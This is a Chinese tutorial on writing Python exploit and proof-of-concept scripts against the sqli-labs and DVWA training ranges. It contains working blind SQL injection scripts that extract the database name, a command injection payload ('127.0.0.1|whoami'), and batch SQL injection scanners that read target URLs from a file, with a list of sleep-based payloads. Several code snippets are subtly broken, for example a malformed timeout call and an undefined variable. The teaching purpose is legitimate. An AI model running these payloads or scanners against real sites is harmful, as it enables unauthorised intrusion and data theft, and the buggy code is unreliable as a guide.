python编写EXP/POC速成小记

Part1基本概念

0x01：概念

漏洞刚被批漏之后，有时候现有的工具里面是没有相应的EXP的，那我们可以根据原理写出对应的EXP代码，验证漏洞是否存在。

在信息安全里，POC为漏洞验证程序，功能为检测漏洞是否存在。POC和EXP(全称Exploit)的区别就是，POC是漏洞验证程序，EXP是漏洞利用程序。针对通用型漏洞编写EXP，可以使漏洞测试大大加快速度，可以在漏洞发现时批量检测资产漏洞情况。

作用：用于漏洞利用，更加高效的漏洞利用，而不是手工测试，节省时间。

Part2思维导图

0x02：思维导图

EXP与POC编写情况很多，所以了解漏洞原理以后，根据实际情况去编写EXP与POC

0x001：EXP

深入了解漏洞原理 创建发起攻击的Payload 发起攻击请求 判断是否攻击成功

0x002：POC

理解漏洞产生的原理

创建发起验证漏洞是否存在的流程代码

发起漏洞验证请求

输出验证是否存在此漏洞

Part3环境准备

0x03：环境准备

python2.x&python3.x

库：requests，string

Part4代码编写

0x04：代码编写（SQLI靶场篇）

0x001：获取网页内容

#coding=utf-8    声明代码格式为utf-8类型

import requests    导入python库

res=requests.get("http://www.baidu.com/index.html")    定义res为变量=用来接收百度提交一个get类型的请求的返回数据

print(res.content.decode("utf-8"))      将res变量的内容使用utf-8格式解码后打印输出（content是下载图片、视频使用效果好）

print(res.text)      将res变量以文本形式打印输出

print(res.headers)    将res变量中的网址头部信息获取打印输出

print(res.url)      将res变量中的url地址获取打印输出

0x002：修改UA头信息

url = "http://www.baidu.com"    定义url
header = {"User-Agent":"foxfox"}    定义UA头信息
res = requests.get(url,headers=header)    定义res变量=将定义的url按照自定义的UA头接收使用GET传参方式进行请求的返回数据
print(res.request.headers)      将res变量修改UA头信息的请求打印输出

0x003：网页在一定时间内超时处理的写法

（try语句后必须有exception或finally语句二者其一）

url = "https://www.baidu.com/index.html"    定义url
try:                    捕获异常内容
    res = requests.get((url,timeout==3))    定义res变量=将url以get类型发送请求，延时等于3秒
    print(res.request)            将res变量的请求打印输出
except Exception as e:  或者except:            捕获所有异常(当前类和所有子类)（如果涉及到第三方库，则会直接抛出错误提示）
    print("超时")

注：如果异常不处理，则会向上一层，即调用者抛出，直到解释器。所以可以在发生处到解释器途中进行捕获处理，所以在哪个位置进行处理也是一个问题。

0x004：提交GET类型数据

url = "https://so.csdn.net/so/search?spm=1000.2115.3001.4498&"    定义url
data = {"q":"666"}                    定义data函数提交（q=666）
res = requests.get(url,params=data)        定义res变量=将url与data函数里的字段按get类型发送请求
print(res.url)          将res变量与url拼接后打印输出

0x005：提交POST类型数据

注：res.content.decode一起使用；res.text.encode一起使用；不然会出现报错不适用

url = "https://www.baidu.com"        定义url
datas = {"fox":"666"}          定义datas变量提交data函数内容（fox=666）
res = requests.post(url,data=datas)    定义res变量=将url与datas函数里的字段按POST类型发送请求
print(res.content.decode("utf-8"))    将res变量的内容使用utf-8格式解码后打印输出

0x006：上传文件

url = "http://123.57.54.40/vulnerabilities/upload/"      定义url
upfile = {"uploaded":open("D:/b.txt","rb")}          定义upfile变量=将D盘下的b.txt文件按照只读方式打开
# datas = {"submit":"submit"}        定义datas变量提交data内容submit=submit
res = requests.post(url,files=upfile)    定义res变量=将upfile变量中的文件在url中使用POST类型请求
print(res.content.decode("utf-8"))      将res变量的结果用content（下载图片，视频等方式）使用utf-8格式解码后打印输出

0x007：获取数据库长度

url = "http://**********/sqlilabs/Less-8/?id="
reslen = len(requests.get(url=url+"1").text)
print("正常返回网页数据长度为：" + str(reslen))
dblen = 1
while True:
    dburl = url + "1' + and + (length(database())) = " + str(dblen) + "--+"
    print(dburl)
    if len(requests.get(dburl).text)==reslen:
        print("库名长度为：" + str(dblen))
        break
    if dblen==30:
        print("错误")
        break
    dblen = dblen + 1

0x008：获取数据库名

注：导入新的库（import string）

url = "http://**********/sqlilabs/Less-8/"
reslen = len(requests.get(url=url+"?id=1").text)
print("返回数据长度为："+str(reslen))
dblen = 0
while True:
    dburl = url + "?id=1'+and+(length(database()))="+str(dblen)+"--+"
    print(dburl)
    if len(requests.get(dburl).text)==reslen:
        print("库名长度为："+str(dblen))
        break
    if dblen==30:
        print("错误")
        break
    dblen += 1
    dbnmae=""
for i in range(1,9):
    for a in string.ascii_lowercase:
        dburl = url+"?id=1'+and+substr(database()," + str(i) + ",1)=" + "'" + a + "'" + "--+"
        print(dburl)
        if len(requests.get(dburl).text)==reslen:
            dbnmae += a
            print(dbnmae)
            break

至此编写完成。

0x05：代码编写（DVWA靶场篇）

0x001：命令执行脚本编写

注：需要导入requests和bs4两个库

fotmat作为Python的的格式字符串函数，主要通过字符串中的花括号{}，来识别替换字段，从而完成字符串的格式化。

status_code：状态码

BeautifulSoup4将复杂HTML文档转换成一个复杂的树形结构，每个节点都是Python对象。

find() 方法检测字符串中是否包含子字符串 str ，如果指定 beg（开始） 和 end（结束） 范围，则检查是否包含在指定范围内，如果包含子字符串返回开始的索引值，否则返回-1。

url = "http://*********/vulnerabilities/exec/"
headers = {"Cookie": "PHPSESSID=fr78ma9ug********6shqp1; security=low"}
data = {"ip": "127.0.0.1|whoami", "Submit":"Submit"}

# 禁止跳转 allow_redirects = False
res = requests.post(url=url, data=data, allow_redirects=False, headers=headers)
print("结果：{}".format(res.text))
print("状态码: {}    正常访问".format(res.status_code))

if response.status_code == 200:
    soup = bs4.BeautifulSoup(res.text, 'lxml')
    pre = soup.find("pre")
    print("结果为：{}".format(pre.text))

0x002：单一站点的基础SQL扫描脚本

用 def 语句创建函数时，可以用 return 语句指定应该返回的值，该返回值可以是任意类型。需要注意的是，return 语句在同一函数中可以出现多次，但只要有一个得到执行，就会直接结束函数的执行。

该函数len()是 Python 的内置函数之一。它返回对象的长度。

if name=="name"，这是一个条件判断语句，如果条件满足，就进入下面的语句。简单来说，该语句用来当文件当作脚本运行时候，就执行代码；但是当文件被当做Module被import的时候，就不执行相关代码。也就是说如果你需要把代码放在一个文件中，在if name == "name”里面放的代码，就只有在该文件被当作脚本文件执行的时候才会起作用。

def poc(url):
    result_rep = requests.get(url)
    return len(result_rep.text)

if __name__ == "__main__":
    header = {
        "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36"}
    url = "http://********/sqli-labs/Less-8/?id=1"

    result_lens = []  # 创建空列表用于比对后面and判断的返回包长度
    rep = requests.get(url, headers=header)
    normal_len = len(rep.text)    #正常请求，也就是if判断正确时应该返回的数据包长度
    payloads = ["'%20and%201=1%23", "'%20and%201=2%23"]  # 通过单引号and 1=2来验证，用Url编码了空格
    for payload in payloads:
        result_len = poc(url + payload)  #发包
        result_lens.append(result_len)  # append()函数用于在列表末尾添加新的对象。
    if result_lens[0] == normal_len & normal_len != result_lens[1]:      #表示and 1=1是正确返回包的长度，而and 1=2是错误的返回包长度，也就是说单引号后的内容被mysql正确的执行
        print("存在sql注入")

0x003：多站点的基础SQL扫描脚本

def poc(url):
    result_rep = requests.get(url)
    return len(result_rep.text)

def run(url):
    result_lens = []
    rep = requests.get(url, headers=header)
    normal_len = len(rep.text)
    payloads = ["'%20and%201=1%23", "'%20and%201=2%23"]
    for payload in payloads:
        result_len = poc(url + payload)
        result_lens.append(result_len)

    if result_lens[0] == normal_len & normal_len != result_lens[1]:
        print("存在sql注入")
    else:
        print(url+"路径不正确或不存在漏洞")

if __name__ == "__main__":
    header = {
        "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36"}
    urls = open("123.txt", 'r').readlines()
    for url in urls:
        run(url)

0x004：时间盲注扫描脚本

def poc(url):
    # if result_rep = requests.get(url):
    result_rep = requests.get(url)
    return len(result_rep.text)

def run(url):
    result_lens = []
    rep = requests.get(url, headers=header)
    normal_len = len(rep.text)
    payloads = ["'%20and%201=1%23", "'%20and%201=2%23"]

    for payload in payloads:
        result_len = poc(url + payload)
        result_lens.append(result_len)

    if result_lens[0] == normal_len & normal_len != result_lens[1]:
        print("\n存在sql注入\n")
    elif result_lens[0] == normal_len & normal_len == result_lens[1]:
        try:
            result_rep = requests.get(url, timeout=3)
            print("不存在延时注入或者web链接不对")
        except Exception as e:
            return "timeout"  # 如果sleep了，就存在sql注入漏洞
        print(url + "路径不正确或不存在漏洞")
    else:

        try:
            result_rep = requests.get(url, timeout=3)
            print("no sql injection")
        except Exception as e:
            return "timeout"  # 如果sleep了，就存在sql注入漏洞

if __name__ == "__main__":
    header = {
        "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36"}
    urls = open("123.txt", 'r').readlines()      # 导入123.txt文件中的url
    for url in urls:
        run(url)

Part5补充

0x005：补充

上述脚本存在误报，就是payload只有一个单引号闭合，没办法检验数字型sql，双引号型，’)型，’))等在payload中多加几个类型，可以直接导入自己的FUZZ字典

payloads = ["'%20and%201=1%23", "'%20and%201=2%23", "\'%20and%20sleep(2)%23", "\"%20and%20sleep(2)%23",
                "%20and%20sleep(2)%23", "\')%20and%20sleep(2)%23",
                "\'))%20and%20sleep(2)%23", "\"or%201=1--", "\'or%201=1--", "d'or'%201=1--", ]

会触发payloads里面的sleep延时注入